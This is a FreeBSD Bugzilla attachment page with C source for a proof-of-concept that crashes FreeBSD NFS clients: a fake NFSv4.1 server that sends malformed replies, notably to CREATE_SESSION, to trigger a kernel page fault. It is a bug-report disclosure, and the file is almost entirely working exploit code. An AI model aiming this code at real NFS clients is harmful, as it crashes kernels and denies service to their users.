FreeBSD Bugzilla – Attachment 229673 Details for
Bug 259996
bad CREATE_SESSION NFS v4.1 reply can cause client kernel page fault
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
Remember
[x]
|
Forgot Password
Login:
[x]
Demo that crashes an NFS client.
fnfs_1.c (text/plain), 19.36 KB, created by
Robert Morris
on 2021-11-23 16:48:26 UTC
(
hide
)
Description:
Demo that crashes an NFS client.
Filename:
MIME Type:
Creator:
Robert Morris
Created:
2021-11-23 16:48:26 UTC
Size:
19.36 KB
patch
obsolete
>#include <stdio.h> >#include <string.h> >#include <stdlib.h> >#include <unistd.h> >#include <sys/socket.h> >#include <sys/ioctl.h> >#include <netinet/in.h> >#include <sys/wait.h> >#include <sys/resource.h> >#include <assert.h> > >#ifndef SYM >#define SYM 0 >#endif > >int sym_op = 43; >int sym_skip = 0; >int sym_type = 0; // all fattr4 file types >int sym_fh = 0; // all file handles >int sym_bitmaps = 0; > >int opcounts[256]; >long long next_cookie = 3; >int current_fh = 0; > >// map file/dir names to file handle >char *fhnames[] = { > "", > "tmp", > "x", > "y", > "z", > "zzz", > 0 >}; > >int >name2fh(char *name) >{ > for(int i = 0; fhnames[i]; i++){ > if(strcmp(name, fhnames[i]) == 0) > return i; > } > return 100; >} > >static inline unsigned long symx() { >#if SYM > unsigned long x; > asm volatile("csrr %0, 0x004" : "=r" (x) ); > return x; >#else > return 0; >#endif > } > >#define NAA 128 >unsigned long long aa[NAA] = { >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x10000800100040ull, >0x0ull, >0x800006000000000ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >0x0ull, >}; >int aai = 0; > >char ibuf[4096]; >int ilen = 0; >int ii = 0; >char obuf[4096]; >int oi = 0; >int symstart = -1; >int symend = -1; > >int readn(int fd, void *xbuf, int n) { > char *buf = (char *) xbuf; > int orig = n; > while(n > 0){ > int cc = read(fd, buf, n); > if(cc <= 0) { perror("read"); return -1; } > n -= cc; > buf += cc; > } > return orig; >} > >unsigned int >parse32() >{ > if(ii >= ilen){ > printf("parsed beyond the end of the input\n"); > return 0; > } > unsigned int x = *(int*)(ibuf+ii); > ii += 4; > return ntohl(x); >} > >unsigned long long >parse64() >{ > unsigned long long hi = parse32(); > unsigned long long lo = parse32(); > return (hi << 32) | lo; >} > >// sessionid4 -- 16 bytes >void >parse_sid(char *sid) >{ > for(int i = 0; i < 16; i++){ > if(sid) > sid[i] = ibuf[ii]; > ii++; > } >} > >unsigned int >parse_opaque(char *buf) >{ > if(buf) > buf[0] = 0; > int nominal_n = parse32(); > if(nominal_n > 4096){ > printf("crazy opaque length %d\n", nominal_n); > return 0; > } > int real_n = nominal_n; > while((real_n%4) != 0) real_n += 1; > for(int i = 0; i < real_n; i++){ > if(buf && i < real_n) > buf[i] = ibuf[ii]; > ii++; > } > return nominal_n; >} > >void >put32(unsigned int x) >{ > assert((oi % 4) == 0); > *(int*)(obuf+oi) = htonl(x); > oi += 4; >} > >void >put64(unsigned long long x) >{ > put32(x >> 32); > put32(x); >} > >void >put_opaque(int n, char *buf) >{ > put32(n); > for(int i = 0; i < n; i++) > obuf[oi++] = (buf ? buf[i] : 0); > while((n%4)!=0){ > obuf[oi++] = 0; > n++; > } >} > >void >put_sid(char *sid) >{ > for(int i = 0; i < 16; i++){ > obuf[oi++] = (sid ? sid[i] : 0); > } >} > >void >parse_nop() >{ >} > >void >parse_op_exchange_id() >{ > parse32(); // verifier4, first half > parse32(); // verifier4, second half > parse_opaque(0); // eia_clientowner > int cflags = parse32(); // eia_flags > parse32(); // state_protect4_a.spa_how, assume SP4_NONE > int nimpl = parse32(); // length of client_impl_id > for(int impli = 0; impli < nimpl; impli++){ > char junk[512]; > parse_opaque(junk); // nii_domain > // printf("nii_domain: %s\n", junk); > parse_opaque(junk); // nii_name > // printf("nii_name: %s\n", junk); > parse64(); // 1/2 of nfstime4 > parse32(); // 1/2 of nfstime4 > } > > // finish EXCHANGE_ID4res > put32(0); // eir_status = NFS4_OK > put64(1); // clientid4 > put32(1); // sequenceid4 > int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS > put32(sflags); // eir_flags > put32(0); // state_protect4_r.spr_how = SP4_NONE > put64(1); // server_owner4.so_minor_id > put32(4); // length of so_major_id<> > put32(0x11223344); // so_major_id<> > put32(4); // length of eir_server_scope > put32(0x11223344); > put32(1); // length of eir_server_impl_id<1> > put32(4); // nfs_impl_id4.nii_domain > put32(0x11223344); > put32(4); // nfs_impl_id4.nii_name > put32(0x11223344); > put64(0); // nii_date 1/2 > put32(0); // nii_date 2/2 >} > >void >parse_op_create_session() >{ > parse64(); // csa_clientid > int seq = parse32(); // csa_sequence > parse32(); // csa_flags > // csa_fore_chan_attrs, csa_back_chan_attrs > int attrs[2][6]; > for(int i = 0; i < 2; i++){ > for(int j = 0; j < 6; j++){ > attrs[i][j] = parse32(); > } > parse_opaque(0); // ca_rdma_ird<1> > } > // csa_cb_program? > // csa_sec_parms<>? > > put32(0); // OK > for(int i = 0; i < 4; i++) > put32(1); // csr_sessionid i/4 > put32(seq); // csr_sequence > put32(0x3); // csr_flags > > for(int i = 0; i < 2; i++){ > for(int j = 0; j < 6; j++) > put32(attrs[i][j]); > put32(0); // ca_rdma_ird > } >} > >void >parse_op_sequence() >{ > char sid[16]; > > parse_sid(sid); // sa_sessionid > int seq = parse32(); // sa_sequenceid > int slot = parse32(); // sa_slotid > int hislot = parse32(); // sa_highest_slotid > parse32(); // sa_cachethis > > put32(0); // OK > put_sid(sid); // sr_sessionid > put32(seq); // sr_sequenceid > put32(slot); // sr_slotid > put32(hislot); // sr_highest_slotid > put32(hislot); // sr_target_highest_slotid > put32(0); // sr_status_flags >} > >void >parse_op_reclaim_complete() >{ > parse32(); // rca_one_fs > put32(0); // rcr_status >} > >void >parse_op_putrootfh() >{ > // no arguments > put32(0); // OK > current_fh = 0; >} > >void >parse_op_secinfo_no_name() >{ > parse32(); // secinfo_style4 > put32(0); // OK > put32(1); // # of secinfo4 >#if 1 > put32(0); // flavor = AUTH_NULL >#else > put32(6); // flavor = RPCSEC_GSS > put32(4); // size of sec_oid4 > put32(0xffffffff); > put32(0); // qop4 > put32(1); // rpc_gss_svc_t >#endif >} > >void >parse_op_destroy_session() >{ > parse_sid(0); > put32(0); // OK >} > >void >parse_op_destroy_clientid() >{ > parse64(); // clientid > put32(0); // OK >} > >void >parse_op_getfh() >{ > // no arguments > put32(0); // OK > int xfh = current_fh; > if(sym_fh) xfh ^= aa[aai++]; > put_opaque(4, (char*)&xfh); // fh >} > >// >// called by getattr and readdir. >// generates a fattr4 (bitmap4 then attrlist4). >// >void >put_fattr4(int bitwords, int xwords[], int fh) >{ > int words[3]; > for(int i = 0; i < 3; i++){ > if(i < bitwords) > words[i] = xwords[i]; > else > words[i] = 0; > if(sym_bitmaps){ > words[i] ^= aa[aai++]; > } > } > bitwords = 3; > put32(bitwords); > int word0i = oi; > for(int i = 0; i < bitwords; i++) > put32(words[i]); > int leni = oi; > put32(0); // placeholder for total length of attrs > for(int a = 0; a < bitwords*32; a++){ > if(words[a/32] & (1 << (a % 32))){ > if(a == 0){ > put32(2); // # bitmap words of supported attrs > put32(0xffffffff); > put32(0xffffffff); > } else if(a == 1){ > int type = 1; > if(fh == 0 || fh == 1) > type = 2; > if(sym_type) type ^= aa[aai++]; > put32(type); // NF4DIR=2 or NF4REG=1 > } else if(a == 2){ > put32(0); // fh_expire_type > } else if(a == 3){ > put64(0); // change > } else if(a == 4){ > put64(4096*10); // size > } else if(a == 5){ > put32(1); // link support > } else if(a == 6){ > put32(1); // symlink support > } else if(a == 8){ > put64(1); // fsid major > put64(1); // fsid minor > } else if(a == 10){ > put32(1); // lease time > } else if(a == 11){ > put32(0); // rdattr_error > } else if(a == 13){ > put32(0xf); // aclsupport > } else if(a == 19){ > // filehandle > int xfh = fh; > if(sym_fh) xfh ^= aa[aai++]; > put_opaque(4, (char*)&xfh); // fh > } else if(a == 20){ > put64(fh); // fileid > } else if(a == 24){ > // fs_locations > put32(1); > put_opaque(10, "abcde12345"); // pathname4 > put32(1); // locations<> > put_opaque(10, "abcde12345"); // server > put32(1); > put_opaque(10, "abcde12345"); // rootpath > } else if(a == 27){ > put64(0xffffffffffff); // max file size > } else if(a == 28){ > put32(0xffff); // max link > } else if(a == 29){ > put32(256); // max name > } else if(a == 30){ > put64(10*4096); // max read > } else if(a == 31){ > put64(10*4096); // max write > } else if(a == 33){ > put32(0777); // mode > } else if(a == 35){ > put32(3); // numlinks > } else if(a == 36){ > put_opaque(6, "other"); // owner > } else if(a == 37){ > put_opaque(6, "other"); // owner_group > } else if(a == 41){ > put32(1); // rawdev major > put32(1); // rawdev minor > } else if(a == 45){ > put64(4096*10); // space used > } else if(a == 47){ > put64(0); // time access seconds > put32(0); // nseconds > } else if(a == 51){ > put64(0); // time delta seconds > put32(0); // nseconds > } else if(a == 52){ > put64(0); // time metadata seconds > put32(0); // nseconds > } else if(a == 53){ > put64(0); // time modify seconds > put32(0); // nseconds > } else if(a == 55){ > put64(0); // mounted_on_fileid ??? > } else if(a == 62){ > // fs_layout_types > put32(1); > put32(1); // LAYOUT4_NFSV4_1_FILES > } else if(a == 75){ > // FATTR4_SUPPATTR_EXCLCREAT > put32(2); // bitmap length > put32(0xffffffff); > put32(0xffffffff); > } else { > if(sym_bitmaps){ > words[a/32] &= ~(1 << (a % 32)); > *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]); > } else { > printf("unknown requested attr %d\n", a); > put64(0); // XXX > } > } > } > } > *(int*)(obuf+leni) = htonl(oi - leni - 4); >} > >void >parse_op_getattr() >{ > int bitwords = parse32(); > int words[64]; > for(int i = 0; i < bitwords; i++) > words[i] = parse32(); > put32(0); // OK > put_fattr4(bitwords, words, current_fh); >} > >void >parse_op_putfh() >{ > char buf[64]; > int n = parse_opaque(buf); // fh > if(n != 4){ > printf("op_putfh fh size %d, not 4\n", n); > exit(1); > } > int fh = *(int*)buf; > current_fh = fh; > put32(0); // OK >} > >void >parse_op_access() >{ > int mask = parse32(); // mask of rights to query > put32(0); // OK > put32(0x3f); // supported = all rights > put32(0x3f); // access = all rights >} > >void >parse_op_lookup() >{ > char name[256]; > int n = parse_opaque(name); > name[n>=0?n:0] = '\0'; > printf("lookup %s\n", name); > put32(0); // OK > current_fh = name2fh(name); >} > >void >parse_op_readdir() >{ > long long cookie = parse64(); > long long verf = parse64(); // cookie verifier > parse32(); // dircount > parse32(); // maxcount > // attr_request > int bitwords = parse32(); > int words[32]; > for(int i = 0; i < bitwords; i++) > words[i] = parse32(); > > put32(0); // OK > put64(verf); // cookieverf > char *names[] = { "z", "zzz" }; > for(int i = 0; i < 2; i++){ > put32(1); // *nextentry > put64(next_cookie++); // cookie > put_opaque(3, names[i]); // name > put_fattr4(bitwords, words, name2fh(names[i])); > } > > put32(0); // *nextentry > > put32(1); // eof >} > >void >parse_op_open() >{ > char name[256]; > name[0] = 0; > parse32(); // seqid > parse32(); // share_access > parse32(); // share_deny > parse64(); // owner client id > parse_opaque(0); // owner owner > // openflag4 > int opentype = parse32(); > if(opentype == 1){ > // OPEN4_CREATE > int mode = parse32(); // createhow4 > if(mode == 0){ > // UNCHECKED4 > // fattr4 createattrs > int bitwords = parse32(); > int words[32]; > for(int i = 0; i < bitwords; i++) > words[i] = parse32(); > parse_opaque(0); // attrlist4 > } else { > printf("OPEN4_CREATE unknown mode %d\n", mode); > exit(1); > } > } else if(opentype == 0){ > // OPEN4_NOCREATE > } else { > printf("unknown opentype %d\n", opentype); > exit(1); > } > int open_claim_type = parse32(); > if(open_claim_type == 0){ > // CLAIM_NULL > parse_opaque(name); // file name > } else if(open_claim_type == 2){ > // CLAIM_DELEGATE_CUR > // open_claim_delegate_cur4 > // stateid4 > parse32(); // seqid > parse32(); > parse32(); > parse32(); > parse_opaque(name); // file name > } else if(open_claim_type == 4){ > // CLAIM_FH > } else { > printf("oy, open_claim_type %d\n", open_claim_type); > exit(1); > } > > put32(0); // OK > // stateid4 > put32(1); // seqid > put32(1); // other > put32(1); > put32(1); > // change_info4 > put32(1); > put64(0); // before > put64(0); // after > put32(0); // rflags > put32(0); // attrset bitmap length > // open_delegation4 > put32(0); // OPEN_DELEGATE_NONE > printf(" name=%s\n", name); > if(name[0]){ > current_fh = name2fh(name); > } else { > printf("op_open: no name with which to set fh\n"); > } >} > >void >parse_op_setattr() >{ > // stateid4 > parse32(); // seqid > parse32(); // other > parse32(); // other > parse32(); // other > // fattr4 > int bitwords = parse32(); > int words[64]; > for(int i = 0; i < bitwords; i++) > words[i] = parse32(); > parse_opaque(0); // attrlist4 > > put32(0); // OK > put32(bitwords); > for(int i = 0; i < bitwords; i++) > put32(words[i]); >} > >void >parse_op_layoutget() >{ > parse32(); // loga_signal_layout_avail > parse32(); // layouttype4 > parse32(); // layoutiomode4 > parse64(); // offset > parse64(); // length > parse64(); // minlength > parse32(); // stateid4 seqid > parse32(); // stateid4 other > parse32(); // stateid4 other > parse32(); // stateid4 other > parse32(); // count32 > > put32(0); // OK > put32(0); // return_on_close > put32(0); // stateid4 seqid > put32(0); // stateid4 other > put32(0); // stateid4 other > put32(0); // stateid4 other > put32(1); // # of layout4 > put64(0); // offset > put64(1000000); // length > put32(3); // layoutiomode4 > put32(1); // layouttype4 > put_opaque(8, "xxxxxxxx"); // loc_body >} > >void >parse_op_write() >{ > parse32(); // stateid4 > parse32(); // stateid4 > parse32(); // stateid4 > parse32(); // stateid4 > parse64(); // offset > parse32(); // stable_how4 > int n = parse_opaque(0); // data > > put32(0); // OK > put32(n); // count > put32(0); // UNSTABLE4 > put64(1); // verifier >} > >void >parse_op_read() >{ > parse32(); // stateid4 > parse32(); // stateid4 > parse32(); // stateid4 > parse32(); // stateid4 > parse64(); // offset > parse32(); // count > > put32(0); // OK > put32(1); // eof > put_opaque(4, "abcd"); >} > >void >parse_op_commit() >{ > parse64(); // offset > parse32(); // count > put32(0); // OK > put64(1); // verifier4 >} > >void >parse_compound() >{ > char tag[512]; > int taglen = parse_opaque(tag); // tag > parse32(); // minor version > int nops = parse32(); > > // start a COMPOUND4res > put32(0); // nfsstat4 = NFS4_OK > put_opaque(taglen, tag); > put32(nops); // length of resarray<> > > for(int opindex = 0; opindex < nops && oi < ilen; opindex++){ > int op = parse32(); > printf("op %d #%d\n", op, opcounts[op&0xff]); > put32(op); // resop in nfs_resop4 > if(sym_op == op){ > if(sym_skip <= 0){ > symstart = oi; > } > sym_skip -= 1; > } > if(op == 42){ > parse_op_exchange_id(); > } else if(op == 43){ > parse_op_create_session(); > } else if(op == 53){ > parse_op_sequence(); > } else if(op == 58){ > parse_op_reclaim_complete(); > } else if(op == 24){ > parse_op_putrootfh(); > } else if(op == 52){ > parse_op_secinfo_no_name(); > } else if(op == 44){ > parse_op_destroy_session(); > } else if(op == 57){ > parse_op_destroy_clientid(); > } else if(op == 10){ > parse_op_getfh(); > } else if(op == 9){ > parse_op_getattr(); > } else if(op == 22){ > parse_op_putfh(); > } else if(op == 3){ > parse_op_access(); > } else if(op == 15){ > parse_op_lookup(); > } else if(op == 26){ > parse_op_readdir(); > } else if(op == 18){ > parse_op_open(); > } else if(op == 34){ > parse_op_setattr(); > } else if(op == 50){ > parse_op_layoutget(); > } else if(op == 38){ > parse_op_write(); > } else if(op == 25){ > parse_op_read(); > } else if(op == 5){ > parse_op_commit(); > } else { > printf("unknown op %d\n", op); > // cannot continue to the next op since > // we don't know how long this one is. > break; > } > if(symstart != -1) > symend = oi; > opcounts[op&0xff] += 1; > } >} > >void >parse_rpc() >{ > // SUN RPC > int xid = parse32(); > parse32(); // mtype=CALL > parse32(); // rpc version > parse32(); // prog# > parse32(); // prog vers > int proc = parse32(); > parse32(); // cred type > parse_opaque(0); // cred > parse32(); // verf type > parse_opaque(0); // verf > > put32(xid); > put32(1); // REPLY > put32(0); // MSG_ACCEPTED > put32(0); // opaque_auth flavor = AUTH_NULL > put32(0); // opaque_auth length > put32(0); // SUCCESS > > if(proc == 0){ > parse_nop(); > } else if(proc == 1){ > parse_compound(); > } else { > printf("unknown rpc proc %d\n", proc); > } >} > >int >main(){ > setlinebuf(stdout); > struct rlimit r; > r.rlim_cur = r.rlim_max = 0; > setrlimit(RLIMIT_CORE, &r); > > int s = socket(AF_INET, SOCK_STREAM, 0); > struct sockaddr_in sin; > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(2049); > int yes = 1; > setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); > if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){ > perror("bind"); exit(1); > } > listen(s, 10); > >#if SYM > sync(); sleep(1); sleep(1); sleep(1); > asm volatile("addi x0, x0, 0x379"); >#endif > > int pid1 = fork(); > if(pid1 == 0){ > close(s); > if(system("echo -n mount: ; mount_nfs -o nfsv4,minorversion=1 127.0.0.1:/tmp /mnt") == 0){ > system("echo -n ls: ; ls -l /mnt/. /mnt/z"); > system("echo -n echo: ; echo hi > /mnt/x"); > system("echo -n dd: ; dd if=/mnt/y of=/dev/null bs=512 count=1"); > system("echo -n umount: ; umount /mnt"); > } > exit(0); > } > > int pid2 = fork(); > if(pid2 == 0){ > > while(1){ > socklen_t sinlen = sizeof(sin); > printf("calling accept\n"); > int s1 = accept(s, (struct sockaddr *) &sin, &sinlen); > printf("accept returned %d\n", s1); > if(s1 < 0) { perror("accept"); exit(1); } > > while(1){ > if(readn(s1, &ilen, 4) < 0) break; > ilen = ntohl(ilen); > ilen &= 0x7fffffff; > if(readn(s1, ibuf, ilen) < 0) break; > oi = ii = 0; > put32(0); // place-holder for length > parse_rpc(); > *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000); > if(aai > NAA){ > printf("oops aai %d NAA %d\n", aai, NAA); > exit(1); > } > if(symstart != -1){ > for(int i = symstart; i < oi && i < symend && aai < NAA; i += 8) > *(unsigned long long *)(obuf + i) ^= aa[aai++]; > symstart = -1; > } > if(write(s1, obuf, oi)<=0) perror("write"); > } > close(s1); > } > exit(1); > } > close(s); > sleep(20); > if(system("dmesg | grep 'unhandled sig'") == 0){ > printf("unhandled signal\n"); while(1){} > } >#if SYM > asm volatile("addi x0, x0, 0x380"); >#endif >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 259996
: 229673 |
229730